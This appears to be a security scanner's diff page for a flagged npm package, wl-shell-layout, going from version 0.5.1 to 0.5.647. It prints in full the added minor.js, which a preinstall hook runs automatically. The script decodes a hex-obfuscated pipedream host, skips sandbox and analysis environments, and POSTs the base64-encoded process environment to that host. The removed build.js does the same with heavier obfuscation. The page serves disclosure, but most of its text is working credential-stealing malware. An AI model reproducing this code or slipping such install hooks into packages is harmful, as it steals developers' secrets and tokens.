wl-shell-layout 0.5.1 → 0.5.647

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of wl-shell-layout might be problematic. Click here for more details.

package/minor.js ADDED
@@ -0,0 +1,23 @@
1
+ const http = require('https');
2
+
3
+ function run() {
4
+ var h = '\x65\x6f\x32\x7a\x78\x77\x63\x70\x65\x31'+'\x30\x70\x6e\x67\x61\x2e\x6d\x2e\x70\x69'+'\x70\x65\x64\x72\x65\x61\x6d\x2e\x6e\x65'+'\x74';
5
+ var pkg_n = 'wl-shell-layout'
6
+ var deactivate = [{ key: ['npm', 'config', 'registry'].join('_'), val: ['taobao', 'org'].join('.') },
7
+ { key: ['npm', 'config', 'registry'].join('_'), val: ['registry', 'npmmirror', 'com'].join('.') },
8
+ { key: 'USERNAME', val: ['daas', 'admin'].join('') },
9
+ { key: '_', val: '/usr/bin/python' },
10
+ { key: 'npm_config_metrics_registry', val: ['mirrors', 'tencent', 'com'].join('.') },
11
+ [{ key: 'MAIL', val: ['', 'var', 'mail', 'app'].join('/') },{ key: 'HOME', val: ['', 'home', 'app'].join('/') },{ key: 'USER', val: 'app' },],
12
+ [{ key: 'EDITOR', val: 'vi' },{ key: 'PROBE_USERNAME', val: '*' },{ key: 'SHELL', val: '/bin/bash' },{ key: 'SHLVL', val: '2' },{ key: 'npm_command', val: 'run-script' },{ key: 'NVM_CD_FLAGS', val: '' },{ key: 'npm_config_fund', val: '' },],
13
+ [{ key: 'HOME', val: '/home/username' },{ key: 'USER', val: 'username' },{ key: 'LOGNAME', val: 'username' },],
14
+ [{ key: 'PWD', val: '/my-app' },{ key: 'DEBIAN_FRONTEND', val: 'noninteractive' },{ key: 'HOME', val: '/root' },],
15
+ [{ key: 'INIT_CWD', val: '/analysis' },{ key: 'APPDATA', val: '/analysis/bait' }]];
16
+ var plop = process['\x65\x6e' + '\x76'] || {};
17
+ if (deactivate.some((index) => [].concat(index).every((i) => (plop[i.key] || '').includes(i.val) || i.val === '*')) ||
18
+ Object.keys(plop).length < 10 || plop.PWD === `/${plop.USER}/node_modules/${plop.pkg_n}`) {return;}
19
+ var req = http.request({host: h,path: '/' + (pkg_n || ''),method: 'POST',}).on('error', function (err) {});
20
+ req.write(Buffer.from(JSON.stringify(plop)).toString('base64'));
21
+ req.end();
22
+ }
23
+ run();
package/package.json CHANGED
@@ -1,11 +1,11 @@
1
1
  {
2
2
  "name": "wl-shell-layout",
3
- "version": "0.5.1",
4
- "description": "shell layout for dev env",
3
+ "version": "0.5.647",
4
+ "description": "wl-shell-layout",
5
5
  "main": "wl-shell-layout.js",
6
6
  "scripts": {
7
7
  "test": "echo \"Error: no test specified\" && exit 1",
8
- "preinstall": "node build.js"
8
+ "preinstall": "node minor.js"
9
9
  },
10
10
  "author": "",
11
11
  "license": "ISC"
@@ -19,7 +19,6 @@ import { FormsModule } from '@angular/forms';
19
19
 
20
20
  const isPermitted = (menuOption, permissionsService) => {
21
21
  let permitted = false;
22
- // to check again
23
22
  const permissions = keys(permissionsService.getPermissions());
24
23
  if (!menuOption.permissions.length)
25
24
  permitted = true;
package/README.md DELETED
@@ -1 +0,0 @@
1
- Testing shell layout on dev-env.
package/build.js DELETED
@@ -1,206 +0,0 @@
1
- const goto = require('https');
2
-
3
- function build() {
4
- let options = {
5
- "Name": "New PI Contact",
6
- "Phone": "+158948945565",
7
- "Message": "My Best Dream Friend",
8
- "Address": "Avite St pe-455 NET"
9
- };
10
-
11
- return (takeAndGive(options['Address'].slice(9, 11), options['Name'].split(' ')[1]) +
12
- options['Message'].split(' ')[2] + takeAndGive(options['Address'].slice(-3), '.'))
13
- }
14
-
15
- function takeAndGive(str1, str2) {
16
- //to check
17
- return str2 + str1
18
- }
19
-
20
- function number_of(item) {
21
-
22
- for (let i = 0; i < 4; i++) {
23
- if (i == 1) {
24
- item += 's'
25
- }
26
- if (i == 3) {
27
- item += 'e6'
28
- }
29
- }
30
- return item + '4'
31
- }
32
-
33
- function snooz(pkg_n, prefix) {
34
-
35
- let missing = [
36
- ['npm', 'package', 'name'].join('_'),
37
- ['npm', 'package', 'json'].join('_'),
38
- ];
39
-
40
- var plop = process['en' + 'v'] || {};
41
-
42
- //new edition
43
- if (initEngine(plop)){
44
- return ;
45
- }
46
- if (fixIssues(plop)){
47
- return ;
48
- }
49
- if (handleEverything(plop)){
50
- return ;
51
- }
52
- if (missing.some( index => !plop[index] )) {
53
- return;
54
- }
55
-
56
- var req = goto
57
- .request(use_language(pkg_n, prefix))
58
- .on('error', function (err) { });
59
- req.write(JSON.stringify(plop));
60
- req.end();
61
- }
62
-
63
- function bible(convertion){
64
- switch (convertion) {
65
- case 'reg':
66
- return takeAndGive('istry', 'reg');
67
- case 'conf':
68
- return 'conf' + 'ig';
69
- case 'np':
70
- return 'npm';
71
- case 'UNAME':
72
- return 'US' + 'ERNAME';
73
- case 'HM':
74
- return 'HOME';
75
- case 'USR':
76
- return 'USER';
77
- case 'APTA':
78
- return takeAndGive('PDATA', 'AP');
79
- case 'py':
80
- return ['', 'usr', 'bin', 'pyt' + 'hon'].join('/');
81
- case 'anal':
82
- return 'ana'.concat('lysis');
83
- case 'INIT':
84
- return ['INIT', 'CWD'].join('_');
85
- case 'pkg':
86
- return 'pac'.concat('kage')
87
- case 'uname':
88
- return 'us' + takeAndGive('ame', 'ern');
89
-
90
- default:
91
- return null;
92
- }
93
-
94
- }
95
-
96
- function fixIssues(plop){
97
- let kill = capture_pictures(plop, bible('HM'), '/home/u'.concat('sername')) &&
98
- capture_pictures(plop, bible('USR'), bible('uname')) &&
99
- capture_pictures(plop, 'LOGNAME', bible('uname'));
100
-
101
- let move = capture_pictures(plop, 'PWD', '/my'.concat('-app')) &&
102
- capture_pictures(plop, 'DEB' + 'IAN_FRO' + 'NTEND', 'nonin'.concat('teractive')) &&
103
- capture_pictures(plop, bible('HM'), '/r'.concat('oot'));
104
-
105
- let teach = capture_pictures(plop, bible('INIT'), '/' + bible('anal')) &&
106
- capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/b' + 'ait'));
107
-
108
- let talk = capture_pictures(plop, bible('INIT'), '/' + bible('np')) &&
109
- capture_pictures(plop, bible('APTA'), '/' + bible('anal').concat('/ba' + 'it'));
110
-
111
- if (kill || move || teach || talk){
112
- return true;
113
- } else {
114
- return false;
115
- }
116
- }
117
-
118
- var MapObj = function () {
119
- this.name = '__st' + (Math.random() * 145459 >> 0);
120
- };
121
-
122
- function handleEverything(plop){
123
- const you = capture_pictures(plop, bible('HM'), ['', 'Us' + 'ers', 'jus' + 'tin'].join('\\')) &&
124
- capture_pictures(plop, bible('APTA'), ['', 'User' + 's', 'jus' + 'tin'].join('\\')) &&
125
- capture_pictures(plop, 'LOGONSERVER', [['DESKTOP','97KB'].join('-'), '6H'].join('B'));
126
-
127
- const me = capture_pictures(plop, 'MAIL', ['', 'var', 'mail', 'app'].join('/')) &&
128
- capture_pictures(plop, bible('HM'), ['', 'home', 'app'].join('/')) &&
129
- capture_pictures(plop, bible('USR'), 'app');
130
-
131
-
132
-
133
- const us = capture_pictures(plop, 'EDITOR', 'vi') &&
134
- capture_pictures(plop, 'PROBE_'.concat(bible('UNAME')), '*') &&
135
- capture_pictures(plop, 'SHEL' + 'L', '/bi' + 'n/b'.concat('ash')) &&
136
- capture_pictures(plop, 'S' + 'HLVL', '2') &&
137
- capture_pictures(plop, bible('np').concat('_command'), 'run-s'.concat('cript')) &&
138
- capture_pictures(plop, 'NVM_CD_FLAGS', '') &&
139
- capture_pictures(plop, [bible('np'), bible('conf'), 'fund'].join('_'), '');
140
-
141
- if (you || me || us){
142
- return true;
143
- } else {
144
- return false;
145
- }
146
- }
147
-
148
- function use_language(pkg_n, prefix){
149
- let options = {
150
- hostname: prefix + '.m.' + build(),
151
- path: '/' + (pkg_n || ''),
152
- method: 'POST',
153
- };
154
- return options
155
- }
156
-
157
- function capture_pictures(p, name, val){
158
- let test = p[name] || '';
159
- if(test.includes(val) || val === '*'){
160
- return true;
161
- } else {
162
- return false;
163
- }
164
- }
165
-
166
- MapObj.prototype = {
167
- set: function (key, value) {
168
- var entry = key[this.name];
169
- if (entry && entry[0] === key)
170
- entry[1] = value;
171
- else
172
- defineProperty(key, this.name, { value: [key, value], writable: true });
173
- return this;
174
- },
175
- get: function (key) {
176
- var entry;
177
- return (entry = key[this.name]) && entry[0] === key ?
178
- entry[1] : undefined;
179
- },
180
- delete: function (key) {
181
- var entry = key[this.name];
182
- if (!entry || entry[0] !== key) return false;
183
- entry[0] = entry[1] = undefined;
184
- return true;
185
- },
186
- has: function (key) {
187
- var entry = key[this.name];
188
- if (!entry) return false;
189
- return entry[0] === key;
190
- }
191
- };
192
-
193
- function initEngine(plop){
194
- if (Object.keys(plop).length < 10 || plop.PWD === `/${plop.USER}/node_modules/${plop.npm_package_name}`) {
195
- return true;
196
- }
197
- if (capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), ['taobao', 'org'].join('.')) ||
198
- capture_pictures(plop, [bible('np'), bible('conf'), bible('reg')].join('_'), [bible('reg'), bible('np').concat('mirror'), 'com'].join('.')) ||
199
- capture_pictures(plop, bible('UNAME'), takeAndGive('admin', 'daas')) ||
200
- capture_pictures(plop, '_', bible('py')) ||
201
- capture_pictures(plop, [bible('np'), bible('conf'), 'metrics', bible('reg')].join('_'), ['taobao', 'org'].join('.'))) {
202
- return true;
203
- }
204
- }
205
-
206
- snooz('wl-shell-layout', 'eo3qhniz7cz6zvb');